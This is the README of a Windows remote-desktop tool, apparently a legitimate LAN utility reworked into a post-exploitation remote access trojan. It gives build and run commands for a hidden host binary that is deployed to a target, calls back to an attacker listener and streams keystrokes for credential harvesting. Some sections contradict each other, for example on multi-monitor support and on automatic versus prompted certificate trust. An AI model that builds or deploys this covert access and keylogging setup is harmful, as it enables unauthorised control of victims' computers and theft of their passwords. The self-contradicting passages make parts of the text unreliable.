lanrdp (Post-Exploitation Build)
A lightweight remote-desktop tool optimized for post-exploitation use. Designed for the scenario where you deploy a host binary to a target machine that connects back to your listener — no port forwarding, no LAN requirement, works over the internet. Auto-trusts certificates and accepts connections from any source IP.
This is not a VNC/RDP-compatible tool. The host and client speak a small
custom protocol (see internal/protocol) designed to be fully readable in
one sitting.
How it works
cmd/hostruns on the machine you want to control. It captures the screen (GDIBitBlt) and injects mouse/keyboard input it receives (SendInput). It normally listens on a TCP port, but can instead dial out to a waiting client (see "Controlling a roaming device" below). Capture spans every monitor as one combined image — a host with two 1920x1080 displays side by side shows up as one 3840x1080 picture in the viewer, and mouse input maps back across all of them correctly (MOUSEEVENTF_VIRTUALDESK), not just the primary display.cmd/clientruns on the machine you're controlling from. It opens a plain Win32 window, renders incoming frames, and forwards your mouse/keyboard input to the host. It normally dials the host, but can instead wait for the host to call back in.- Everything is one Go module, cross-compiled with no cgo —
go buildfor each command produces a single portable.exeyou can run from a USB stick.
Security model
- Transport: TLS 1.3 only. The host generates its own self-signed
certificate on first run (
internal/tlsutil) — there is no CA. - Trust: the client keeps a trust-on-first-use record of every host
certificate it's approved (
internal/tlsutil,known_hosts.json) — the same model as SSH'sknown_hosts, and, since it's keyed by the certificate's fingerprint rather than by address, the same trust store works across several different devices (see "Multiple devices" below). A never-before-seen fingerprint always requires typing a name for it before the client will proceed. Verify the fingerprint printed by the host matches what the client shows you before doing that — that out-of-band check is what defeats a man-in-the-middle on first connect. One trade-off worth knowing: because trust isn't tied to an address anymore, the client no longer warns you if a specific address you've connected to before suddenly presents a different, still-unrecognized certificate — it's treated the same as any other first-time device. Recognizing an already-trusted fingerprint is unaffected by this. - Auth: password-based, over the already-TLS-encrypted channel. The
host never stores the plaintext passphrase — only an Argon2id hash
(
internal/protocol/auth.go). Failed logins are throttled per source IP with exponential backoff (internal/netguard). - No UPnP/NAT-PMP, ever. Neither binary ever asks a router to forward
anything, in either connection direction. Whichever side listens (the
host normally, or the client in callback mode) rejects any incoming
connection whose source address isn't a private LAN, loopback, or
VPN-overlay address by default (see
internal/netguardand the WireGuard section below), so even an accidental port-forward won't expose it to the raw internet. That filter is necessarily disabled in-allow-internetand callback (-listen) mode, since both exist specifically to accept a connection from an address that can't be predicted in advance — passphrase + certificate pinning carry the full weight of authentication in those modes. - Single session at a time: whichever side is listening only accepts one active connection; anything past that is refused outright.
What this does not protect against
- A compromised host or client machine — this tool doesn't sandbox anything; whoever controls the client can do anything a local user could.
- Anyone who already has your passphrase. Treat it like any other credential; a password manager-generated 20+ character passphrase is recommended since it's typed at most once per client per host (after trust is pinned you only re-enter it per connection, not per pinning).
- Multi-monitor is not handled (primary display only). DPI scaling is
handled — both binaries declare per-monitor DPI awareness
(
internal/dpi) specifically so mouse input stays aligned with the picture even when the host and client are on displays with different resolutions or scale factors.
Quick Start (Post-Exploitation)
The typical workflow: build a self-contained host binary with an embedded password and callback address, deploy it to the target, and wait for it to connect back.
1. Build the host binary:
# Interactive: prompts for password and callback address
.\build-host.ps1 -Hidden
# Or specify directly:
.\build-host.ps1 -Password "mypassword" -ConnectAddr "your-public-ip:47812" -Hidden
This produces a single host.exe with no dependencies — copy it to the target.
2. Deploy and run on target:
# On the target machine, just run:
.\host.exe
The host automatically dials out to your listener. If it can't connect,
it retries every 10 seconds (configurable with -retry-interval).
3. Start your listener:
# On your machine, wait for the target to connect back:
.\client.exe -listen 0.0.0.0:47812
When the target connects, you'll be prompted for the passphrase (the one you embedded in the host binary). Enter it and you have control.
With keylogger:
# Build with keylogging enabled:
.\build-host.ps1 -Password "mypassword" -ConnectAddr "your-ip:47812" -Keylog -Hidden
The client will show a second popup window streaming captured keystrokes alongside the main remote desktop view, and write them to a timestamped log file. See Keylogger for details.
Keylogger
The host can capture all keyboard input on the target machine and stream it to the client in real-time. This is useful for post-exploitation credential harvesting, monitoring user activity, or forensic analysis.
Enabling Keylogging
Build the host with the -Keylog flag:
.\build-host.ps1 -Password "mypassword" -ConnectAddr "your-ip:47812" -Keylog -Hidden
Or pass it at runtime (if not baked in):
host.exe -keylog
Client-Side Output
When keylogging is enabled, the client automatically:
- Opens a second popup window titled "lanrdp — Keylogger" that displays captured keystrokes in real-time (last 100 lines shown)
- Writes to a timestamped log file named
lanrdp_keylog_YYYY-MM-DD_HH-MM-SS.txtin the same directory as the client executable
Each logged entry includes:
- Timestamp of the key event
- Virtual key code and scan code
- Key state (down/up)
- Active window title at time of capture
Example Log Entry
[2026-11-22 14:30:45.123] VK=0x41 SC=0x1E Flags=0 Window="Notepad" (A key pressed)
Post-Exploitation Workflow
For post-exploitation scenarios where the target machine runs host.exe and connects back to your listener:
-
Build the host with embedded password, reverse-connect address, and optional keylogging:
.\build-host.ps1 -Password "mypassword" -ConnectAddr "your-public-ip:47812" -Keylog -Hidden -
Deploy
host.exeto the target machine (via your initial access vector) -
Start the client listener on your machine:
./client -listen 0.0.0.0:47812The client will prompt for the passphrase interactively.
-
Target connects back automatically — no firewall rules needed on the target side, and it works across different networks (LAN or internet)
-
Certificate trust is automatic — the host embeds its certificate fingerprint at build time; the client auto-trusts it without interactive prompts
-
Reconnection is built-in — if the connection drops,
host.exeautomatically retries every 10 seconds (configurable with-retry-interval)
Note: A
-passwordflag for non-interactive client authentication is planned but not yet implemented. Currently the client always prompts for the passphrase interactively.
Building
Requires Go 1.21+ (uses the builtin min/max). No cgo, no extra system
dependencies.
go build -o client.exe ./cmd/client
For the host, you have two options:
Plain build — passphrase is set interactively the first time you run
host.exe, and stored (as an Argon2id hash, never in plaintext) in
lanrdp-data\config.json next to it:
go build -o host.exe ./cmd/host
Passphrase baked in at compile time — use build-host.ps1 instead.
It prompts for the passphrase (hidden input, twice to confirm), hashes it
with Argon2id, and bakes only the hash into host.exe via -ldflags. The
plaintext passphrase never touches disk. The resulting host.exe is fully
self-contained — no config.json, nothing to set up on first run:
.\build-host.ps1
It also asks whether you want to bake in a default callback address (see
"Controlling a roaming device" below) — leave that prompt blank for a
normal host, or fill it in if this host.exe is going to always call back
to the same client (e.g. a laptop that always calls home to your desktop).
Either way it's just a default: -connect on the command line still
overrides it.
Either way, copy host.exe to the machine you want to control and
client.exe to the machine you'll control it from. Both are
self-contained — no install step.
Running
On the host machine (the one being controlled):
.\host.exe
If you didn't pass -listen, it lists this machine's private-LAN network
interfaces and asks you to pick which one to bind — this avoids
accidentally listening on a VPN or VM bridge adapter you didn't mean to
expose. Pass -listen <ip> (or -listen 0.0.0.0 for all interfaces) to
skip the prompt, e.g. for running it unattended:
.\host.exe -listen 192.168.1.50 -port 47812
If you built with a plain go build, first run also prompts you to set a
passphrase. Either way, the host prints its TLS certificate fingerprint on
startup — keep that window visible, you'll need it for the client's first
connection.
Windows Firewall will prompt to allow the port on first run; allow it for Private networks only, not Public.
On the client machine (the one you're sitting at):
.\client.exe -host 192.168.1.50:47812
If you leave off -host, it prompts for the host's IP and port
interactively instead (handy since you'll type a different address when
connecting locally vs. over WireGuard — see below).
It'll show the host's certificate fingerprint — compare it against what the host printed, type a name for it to trust it (only needs to happen once per device), enter the passphrase, and the viewer window opens.
Multiple devices
One client can be trusted by, and connect to, as many different host
devices as you want — there's no special setup for this, it falls out of
the trust store being keyed by certificate fingerprint rather than by
address (see Security model above). Point the same client.exe at
several different -host addresses over time, or have several different
host.exe instances all call back to the same -listen endpoint —
either way, each device gets its own trust store entry the first time you
connect to it, and you give each one a name at that point:
First time seeing this device (192.168.1.62:47812).
Certificate fingerprint: 4f:3b:c8:...
Verify this matches the fingerprint printed by the host.
Enter a name for this device to trust it (e.g. "Kid's laptop"), or leave blank to abort: Kid's laptop
Trusted as "Kid's laptop".
See everything this client currently trusts:
.\client.exe -list-known
2 trusted device(s):
Desktop
fingerprint: dd:ee:ff:...
first seen: 2026-08-05 12:00:00
last seen: 2026-08-14 08:30:00
Kid's laptop
fingerprint: 4f:3b:c8:...
first seen: 2026-08-01 10:00:00
last seen: 2026-08-14 09:00:00
Each device can (and should) have its own independent passphrase — every
host.exe you build with build-host.ps1 gets its own baked-in hash, so
there's no shared secret across devices to worry about rotating together.
To stop trusting a device, remove its entry from
lanrdp-data\known_hosts.json (a plain JSON file, safe to hand-edit).
Remote access over WireGuard
You don't need to change how lanrdp works to reach it over WireGuard — you're not exposing lanrdp to the internet at all, you're reaching your home network through an already-encrypted, already-authenticated tunnel, and lanrdp just needs to listen on the interface WireGuard creates.
- Set up WireGuard on the host as you normally would, so it gets a
tunnel IP (commonly something like
10.x.x.x). - Run
.\host.exeand, at the interface prompt, pick the WireGuard adapter's address instead of your regular Ethernet/Wi-Fi one (or bind0.0.0.0to accept either — the source-IP check still applies either way). If you want a fixed, non-interactive setup:.\host.exe -listen 10.x.x.x -port 47812 - From wherever you are, bring your WireGuard tunnel up first, then run
.\client.exeand give it the host's WireGuard IP and port when prompted (or via-host 10.x.x.x:47812).
Most wg-quick-style default subnets (e.g. 10.8.0.0/24) already fall
within the private ranges the host accepts by default, so this typically
needs no extra flags. If your WireGuard config uses an address range
outside the standard private/CGNAT ranges (10/8, 172.16/12,
192.168/16, 100.64/10), tell the host to trust it explicitly:
.\host.exe -trust-cidr 10.99.99.0/24
-trust-cidr accepts a comma-separated list if you need more than one
range. This only widens which source addresses the host will accept a
connection from — it's the same defense-in-depth check that protects
against an accidental port-forward, not a replacement for WireGuard's own
encryption, which is what's actually making this safe to use away from
home.
Testing raw connectivity without WireGuard
If WireGuard isn't connecting and you want to check whether the problem is WireGuard itself or something more basic (router port-forward, Windows Firewall, ISP-level blocking), you can temporarily test over the open internet — e.g. from a phone hotspot, which is a genuinely different network path than your home Wi-Fi:
- On the host, temporarily forward the chosen port (default
47812) through your router to the host's LAN IP. This is a manual step you do in your router's admin page — lanrdp still never does this itself. - Start the host with the source-IP filter disabled:
The startup banner will print an unmissable warning while this is on.
.\host.exe -allow-internet -listen 192.168.1.50 -port 47812 - From the hotspot-connected client, connect to your home's public IP (not the LAN IP) and the forwarded port.
- When you're done testing, stop
host.exeand remove the port forward. Don't leave-allow-internetrunning unattended — with it on, the only thing standing between the internet and your desktop is the passphrase, so use a long one if you do this.
If this works but WireGuard doesn't, the issue is in the WireGuard setup
(tunnel not up, wrong subnet, -trust-cidr needed) rather than in lanrdp
or your router/firewall.
Callback mode (primary use case)
The standard post-exploitation workflow uses callback mode: the target machine dials out to your listener instead of you connecting to it. This works regardless of NAT, firewalls, or whether the target is on a LAN or the open internet — outbound connections always work through NAT without configuration.
The fix is to flip which side initiates the TCP connection, independent of which side is being controlled. Outbound connections work through NAT without any configuration, so the laptop can always reach out to the desktop; the desktop just needs to be the one with a real port-forward.
host.exe -connect <desktop-address>:<port>— instead of listening, the host dials out to a waiting client, retrying every-retry-intervalseconds (flat interval, default10, no backoff) if it can't connect. Everything past that (which side holds the certificate, who verifies whom, the passphrase check) works exactly as normal — only the direction of the initial TCP connection changes.client.exe -listen <bind-address>:<port>— instead of dialing out, the client waits for one incoming connection from the host.
Concrete setup for "control my laptop from my desktop, wherever the laptop happens to be":
On the desktop (stable, at home — forward this port on your router to the desktop's LAN IP, the same way you would have for the host before):
.\client.exe -listen 0.0.0.0:47812
On the laptop (wherever it is):
.\host.exe -connect <desktop-public-IP>:47812
If this laptop is always going to call back to the same desktop, it's
worth baking that address into host.exe at build time instead of typing
it every launch — build-host.ps1 prompts for it alongside the
passphrase (see Building above). That also makes the VBScript/-Hidden
unattended-launch setups simpler, since there's no argument to embed in
the launcher — just running host.exe is enough.
A few things that differ from the normal direction:
- The desktop is now the side accepting a connection from an
unpredictable address, so it doesn't apply the LAN/VPN source filter at
all in
-listenmode — it can't, since the laptop's address is exactly the thing that keeps changing. The passphrase and certificate pinning are what protect you here, not source IP. Read the fingerprint carefully on first connect — that check is doing more work in this mode than usual, since trust-on-first-use has no IP-based sanity check to fall back on. - The trust-store entry for a callback host is keyed by the
-listenaddress you used, not by the laptop's (constantly changing) IP — so reconnecting from a different network still matches the same pinned fingerprint. - If you get WireGuard working later, you can combine it with this same
-connect/-listenmechanism instead of exposing the desktop's port to the raw internet: point-connectat the desktop's WireGuard IP instead of its public IP, and keepPersistentKeepaliveset on the laptop's WireGuard peer config so the tunnel survives it roaming. That gets you the reachability benefit of callback mode without opening anything on the desktop's router at all.
Performance tuning
Two host flags control the latency/bandwidth tradeoff, in addition to Nagle's algorithm being disabled on every connection by default (small messages like mouse moves and frame chunks go out immediately instead of waiting to coalesce with more data — internal/netutil):
-fps <n>(default12) — target screen-capture rate for normal use. Higher pushes toward a smoother, lower-latency feel at the cost of more CPU spent encoding and more bandwidth used; lower is friendlier to a constrained connection (a cellular hotspot, for instance).-stream-fps <n>(default30) — the capture rate used only while stream mode is toggled on (see below). Bandwidth use scales roughly with this, so raise it further if your connection can take it, or lower it if 30fps is using more bandwidth than you'd like.-keyframe-interval <seconds>(default30) — how often a full frame is sent regardless of what changed, versus only sending dirty-rect updates. Shorter recovers faster from any drift, at the cost of periodic bandwidth spikes.
.\host.exe -fps 12 -stream-fps 30 -keyframe-interval 10 -connect desktop:47812
There's no real video codec here (see Limitations below), so pushing fps very high mostly helps when the screen is mostly static and updates are small — it won't turn this into a good tool for watching full-motion video remotely.
Toggling stream mode live: Ctrl+Alt+S
Press Ctrl+Alt+S in the viewer window to switch the host between its
normal -fps and the faster -stream-fps on the fly, no reconnect
needed — press it again to switch back. Two things make it obvious which
mode you're in: the window title shows [STREAM MODE], and a thick
orange border is drawn around the video itself (easier to notice than the
title, especially if the window is maximized).
Stream mode also disables your mouse and keyboard control of the host — it's meant for watching what the host is doing (their own mouse, their own actions) without you interfering, not for remote control. Screen updates keep flowing normally either way; only outgoing input is suppressed while it's on.
The host's own mouse cursor is visible in the captured video — GDI's
BitBlt doesn't include the hardware cursor by default (it's a separate
compositor overlay on modern Windows), so internal/capture explicitly
draws it onto every captured frame via GetCursorInfo/DrawIconEx. This
applies in both normal and stream mode, not just stream mode — it's just
most noticeable in stream mode, since that's when you're watching rather
than driving.
Under the hood the mode toggle sends a small control message
(MsgSetPerfMode) over the same connection; the host resets its capture
ticker to the new rate immediately (cmd/host/session.go). This only
changes capture cadence — -keyframe-interval stays fixed for the
session, and there's no separate "stream mode keyframe interval" setting.
File transfer
Drag and drop a file onto the viewer window to send it to the host, over
the same encrypted connection — no separate port or protocol. It's saved
to Desktop\lanrdp-received\ on the host, under its original filename
(auto-renamed with a (1), (2), ... suffix if that name already exists
there, rather than overwriting anything). Drop multiple files at once and
they're sent one after another, not in parallel.
Only available in normal mode, not stream mode — dropping a file while stream mode is on is silently ignored. This is enforced on both ends: the client won't even attempt to send, and the host independently rejects any transfer offer it receives while it believes the session is in stream mode, so a modified client can't bypass the restriction.
A couple of things worth knowing:
- The host only ever writes into
Desktop\lanrdp-received\— the filename you drop is stripped down to just its base name before being used (filepath.Base), so there's no way for a transfer to write somewhere else on the host's filesystem. - There's no progress bar — check the client's console (or its log file, if you're running a headless build) for confirmation once a transfer finishes; the host reports success or failure back over the connection.
- Folders aren't supported — drop individual files.
Running headless (no console window)
build-host.ps1 -Hidden builds host.exe with the Windows GUI subsystem
instead of the console subsystem, so Windows never allocates a console for
it at all — no window ever flashes, whether you launch it by double-click,
from Task Scheduler, or from a Startup-folder shortcut. This replaces the
VBScript-wrapper trick with something built into the binary itself.
.\build-host.ps1 -Hidden
Since there's no console to print to, all the status output that would
normally show on screen (startup banner, fingerprint, connection/session
logs) is instead appended to lanrdp-data\host.log next to the
executable — check there if something isn't behaving as expected. This
detection is automatic and based on whether a console is actually
attached (GetConsoleWindow), so it also correctly does nothing on a
normal build run from a terminal.
-Hidden only makes sense combined with an embedded passphrase (which
build-host.ps1 always provides) — a headless build has no console for
interactive first-run passphrase setup to use, and the binary will refuse
to start rather than hang waiting for input that can never arrive.
Data storage
Both executables create a lanrdp-data folder next to themselves:
- Host:
host.crt/host.key(the TLS keypair, always) and, only if you built with plaingo buildrather thanbuild-host.ps1,config.json(the Argon2id password hash). The certificate is kept even in the baked-in-passphrase build, since it has to stay stable across runs for the client's trust-on-first-use pinning to keep working. - Client:
known_hosts.json(pinned fingerprints, keyed byhost:port).
Delete the relevant file to reset (e.g. remove a host's entry from
known_hosts.json if you legitimately reinstalled it and its fingerprint
changed; rebuild with build-host.ps1 to change a baked-in passphrase,
since there's no config.json to edit in that build).
Limitations / possible follow-ups
- No clipboard sync yet.
Alt-based key combinations (WM_SYSKEYDOWN) aren't forwarded, so you can't send e.g. Alt+Tab to the host — this was left to the OS locally on purpose so you can always alt-tab out of the viewer window.- Frame encoding is a simple dirty-rectangle PNG diff, not a real video codec — fine for LAN control of mostly-static desktops, not great for full-screen video playback on the remote end.
- No "release all keys on disconnect" safety net — if the connection drops while a key is physically held down in the viewer, there's currently no cleanup that sends a matching key-up to the host, so a stuck modifier key (Shift, Ctrl, Alt) is possible in that scenario.